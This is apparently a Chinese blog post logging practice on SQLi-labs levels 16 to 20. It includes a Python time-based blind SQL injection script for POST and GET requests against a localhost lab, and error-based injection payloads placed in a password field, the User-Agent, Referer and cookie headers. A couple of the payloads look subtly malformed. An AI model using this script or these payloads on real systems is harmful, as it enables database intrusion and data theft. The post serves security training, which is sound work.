SQL-labs练习记录(16~20)【post时间盲注,密码注入,UA注入,referer注入,cookie注入】

Less 16

这里仍旧是时间盲注,不过你需要先探测闭合。
以下两个都可以,and的第一个参数必须要为真才能执行后面的语句,第一个就是强行为真。

1") or 1=1 and sleep(2) -- 
admin") and sleep(2) -- 

在这里插入图片描述

在这里我们使用脚本来操作一下时间盲注,你也可以使用前文提到的dnslog注入。
这里补充一个post版本的脚本,思路和之前的get型大同小异。下面两个方法都会放出,你可以比较一下它们的异同:

import requests
import time
 
url = 'http://localhost/sqli-labs-master/Less-16/'

database_now="select database()"
 
database = 'select schema_name from information_schema.schemata'
 
tables = 'select table_name from information_schema.tables where table_schema=database()'#当前数据库的表
 
column = 'select column_name from information_schema.columns where table_name="users" and table_schema=database()'#table_name可以进行修改

data='select concat(username) from security.users'
 
def get_things(string):
	result = ''
	for i in range(1,30):
		for j in range(48,123):
			payload = '" and if(ascii(substr(({} limit 1,1),{},1))={},sleep(2),1) --+'.format(string,i,j)#limit的值可以改变
			stime =time.time()
			r = requests.get(url+payload)
			etime = time.time()
			if etime-stime >=2:#get前后的时间差值判断
				result += chr(j)
				print (result)
				break
		if j==122:#没有命中迅速跳出
			break

def post_things(string):
	result = ''
	for i in range(1,30):
		for j in range(48,123):
			payload = 'admin") and if(ascii(substr(({} limit 2,1),{},1))={},sleep(2),1) -- '.format(string,i,j)#limit的值可以改变
			data={
				'uname':payload,
				'passwd':'123',
			}
			stime =time.time()
			#print(stime)
			r = requests.post(url,data=data)
			etime = time.time()
			#print(etime)
			if etime-stime >=2:#get前后的时间差值判断
				result += chr(j)
				print (result)
				break
		if j==122:#没有命中迅速跳出
			break


#post_things(database_now)
post_things(database)
#get_things(database)#要遍历各个数据库的话需要改一改筛选位置
#get_things(tables)
#get_things(column)
#get_things(data)

如果你使用脚本时出现请求次数过多的短链接错误,可以查看之前的布尔注入脚本对request的部分属性更改,链接:

get型布尔、时间盲注

效果预览:
在这里插入图片描述

Less17

在这里插入图片描述
此题是对于密码重设环节进行注入,模拟场景为:
1.已知当前账户名,“忘记密码”>>>“重设密码”
2.想在重设密码的过程中进行注入,获取数据库、其他用户信息。

这里是密码栏的报错注入,利用updatexml和extractvalue两个函数即可。
payload:

admin
1' and (updatexml('anything',concat('~',database(),'~'),'123')) -- 

在这里插入图片描述
更多语法请看报错注入那一节

Less18

在这里插入图片描述
能够对 user-agent回显
1、先用Burp Suite抓取输入正确用户密码的登录页面
2、然后在报头文User-Agent:后加入注入语句即可
在这里插入图片描述
尝试一下会出现列数不匹配的情况。
多次尝试发现是三个参数,payload:

1',1,extractvalue('anything',concat('~',database(),'~')))#

值得一提的是这里要用#来进行注释,用 -- 不行
并且最后语句中会多半个括号)
这与源码有关,注意注意
在这里插入图片描述

Less19

在这里插入图片描述
这里会对referer回显,那么我们把语句放在referer栏来进行注入即可
payload:

1',updatexml('angthing',concat('~',select concat(schema_name) from information_schema.shcemata limit 0,1,'~'),'123'))#

在这里插入图片描述
对了,这里探测到列数只有两列哦

Less20

从cookie进行注入
如果你也是谷歌,为了避免错误。
在这里先修改一下
在这里插入图片描述
payload:

uname=' union select 1,2,(updatexml(1,concat('~',database(),'~'),123)#在这里插入图片描述
不过在这里要删除直接post的数据,从cookie post

posted @ 2021-08-22 10:45  Sayo-NERV  阅读(120)  评论(0编辑  收藏  举报